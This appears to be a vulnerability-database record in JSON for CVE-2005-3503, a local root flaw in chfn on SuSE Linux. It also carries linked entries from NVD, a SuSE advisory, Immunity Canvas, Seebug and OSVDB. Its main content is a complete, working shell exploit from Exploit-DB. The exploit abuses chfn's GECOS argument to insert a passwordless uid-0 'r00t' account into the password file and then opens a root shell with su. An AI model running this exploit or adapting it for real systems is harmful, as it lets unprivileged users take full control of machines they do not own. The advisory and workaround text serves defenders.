SuSE Linux <= 9.3 / 10 - chfn Local Root Privilege Escalation Exploit

{"bulletinFamily": "exploit", "id": "EDB-ID:1299", "cvelist": ["CVE-2005-3503"], "modified": "2005-11-08T00:00:00", "lastseen": "2016-01-31T13:57:49", "edition": 1, "sourceData": "#!/bin/sh\n#\n# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0\n# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.\n# \n# by Hunger <susechfn@hunger.hu>\n#\n# Advistory:\n# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html\n# \n# hunger@suse:~> id\n# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)\n# hunger@suse:~> ./susechfn.sh\n# Type your current password to get root... :)\n# Password:\n# sh-2.05b# id\n# uid=0(r00t) gid=0(root) groups=0(root)\n\nif [ X\"$SHELL\" = \"X\" ]; then\n\techo \"No SHELL environment, using /bin/sh for default.\"\n\texport SHELL=/bin/sh\nfi\n\nif [ -u /usr/bin/chfn ]; then\n\t/bin/echo \"Type your current password to get root... :)\"\n\t/usr/bin/chfn -h \"`echo -e ':/:'$SHELL'\\nr00t::0:0:'`\" $USER > /dev/null\n\tif [ -u /bin/su ]; then\n\t\t/bin/su r00t\n\t\t/bin/echo \"You can get root again with 'su r00t'\"\n\telse \n\t\techo \"/bin/su file is not setuid root :(\"\n\tfi\nelse\necho \"/usr/bin/chfn file is not setuid root :(\"\nfi\n\n# milw0rm.com [2005-11-08]\n", "published": "2005-11-08T00:00:00", "href": "https://www.exploit-db.com/exploits/1299/", "osvdbidlist": ["20525"], "reporter": "Hunger", "hash": "e5f0f09ccacd95b108522cae8aec95b13aeb69a82621743d770cd14d705f4540", "title": "SuSE Linux <= 9.3 / 10 - chfn Local Root Privilege Escalation Exploit", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "SuSE Linux <= 9.3, 10 (chfn) Local Root Privilege Escalation Exploit. CVE-2005-3503. Local exploit for linux platform", "references": [], "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/1299/", "enchantments": {"vulnersScore": 1.5}}

{"result": {"cve": [{"id": "CVE-2005-3503", "type": "cve", "title": "CVE-2005-3503", "description": "chfn in pwdutils 3.0.4 and earlier on SuSE Linux, and possibly other operating systems, does not properly check arguments for the GECOS field, which allows local users to gain privileges.", "published": "2005-11-05T06:02:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3503", "cvelist": ["CVE-2005-3503"], "lastseen": "2016-09-03T05:57:15"}], "suse": [{"id": "SUSE-SA:2005:064", "type": "suse", "title": "local privilege escalation in pwdutils, shadow", "description": "Thomas Gerisch found that the setuid 'chfn' program contained in the pwdutils suite insufficiently checks it's arguments when changing the GECOS field. This bug leads to a trivially exploitable local privilege escalation that allows users to gain root access. We like to thank Thomas Gerisch for pointing out the problem.\n#### Solution\nRemoving the setuid bit from /usr/bin/chfn renders chfn useless but also prevents successful exploitation. Note that this workaround only lasts until the next run of SuSEconfig which will restore the setuid bit if you are on permissions level 'easy' or 'secure'.", "published": "2005-11-04T14:22:08", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "http://lists.opensuse.org/opensuse-security-announce/2005-11/msg00008.html", "cvelist": ["CVE-2005-3503"], "lastseen": "2016-09-04T11:17:43"}], "canvas": [{"id": "CHFNESCAPE", "type": "canvas", "title": "Immunity Canvas: CHFNESCAPE", "description": "**Name**| chfnescape \n---|--- \n**CVE**| CVE-2005-3503 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| chfnescape \n**Notes**| References: http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html \nCVE Name: CVE-2005-3503 \nAffected: SuSE Linux 9.0 through 10.0, Suse Linux Desktop 1.0, SLES 9, UnitedLinux 1.0 \nVENDOR: SuSE \nNotes: This exploit returns you a Unixshell Node when successful. It will add a r00t user to the password file, which you will have to clean up manually afterwards. If you are already UID or EUID 0, this exploit will refuse to run - use setuid instead. \nDate public: 11/5/2005 \nCVE Url: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3503 \nCVSS: 7.2 \n\n", "published": "2005-11-05T06:02:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/chfnescape", "cvelist": ["CVE-2005-3503"], "lastseen": "2016-09-25T14:12:25"}], "seebug": [{"id": "SSV-63281", "type": "seebug", "title": "SuSE Linux <= 9.3, 10 (chfn) Local Root Privilege Escalation Exploit", "description": "Summary: \npwdutils is a set of password management tools, you can manage NIS, NIS+and LDAP. password.< br/>SuSE Linux and possibly other operating systems on pwdutils 3.0.4 and earlier versions of chfn, not appropriate check the GECOS field of the parameter, which allows local users to obtain privileges.\n", "published": "2014-07-01T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://www.seebug.org/vuldb/ssvid-63281", "cvelist": ["CVE-2005-3503"], "lastseen": "2016-07-27T08:55:33"}], "osvdb": [{"id": "OSVDB:20525", "type": "osvdb", "title": "SUSE Linux pwdutils chfn Local Privilege Escalation", "description": "## Vulnerability Description\nSUSE Linux contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The problem is that the setuid 'chfn' binary in the 'pwdutils' suite does not properly check arguments when changing the 'GECOS' field, which may allow a malicious user to gain access to root privileges resulting in a loss of integrity.\n## Solution Description\nContact the vendor for an appropriate upgrade. An upgrade is required as there are no known workarounds.\n## Short Description\nSUSE Linux contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The problem is that the setuid 'chfn' binary in the 'pwdutils' suite does not properly check arguments when changing the 'GECOS' field, which may allow a malicious user to gain access to root privileges resulting in a loss of integrity.\n## References:\nVendor URL: http://www.novell.com/\n[Secunia Advisory ID:17469](https://secuniaresearch.flexerasoftware.com/advisories/17469/)\nOther Advisory URL: http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html\nKeyword: SUSE-SA:2005:064\n[CVE-2005-3503](https://vulners.com/cve/CVE-2005-3503)\nBugtraq ID: 15314\n", "published": "2005-11-04T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/osvdb/OSVDB:20525", "cvelist": ["CVE-2005-3503"], "lastseen": "2017-04-28T13:20:17"}]}}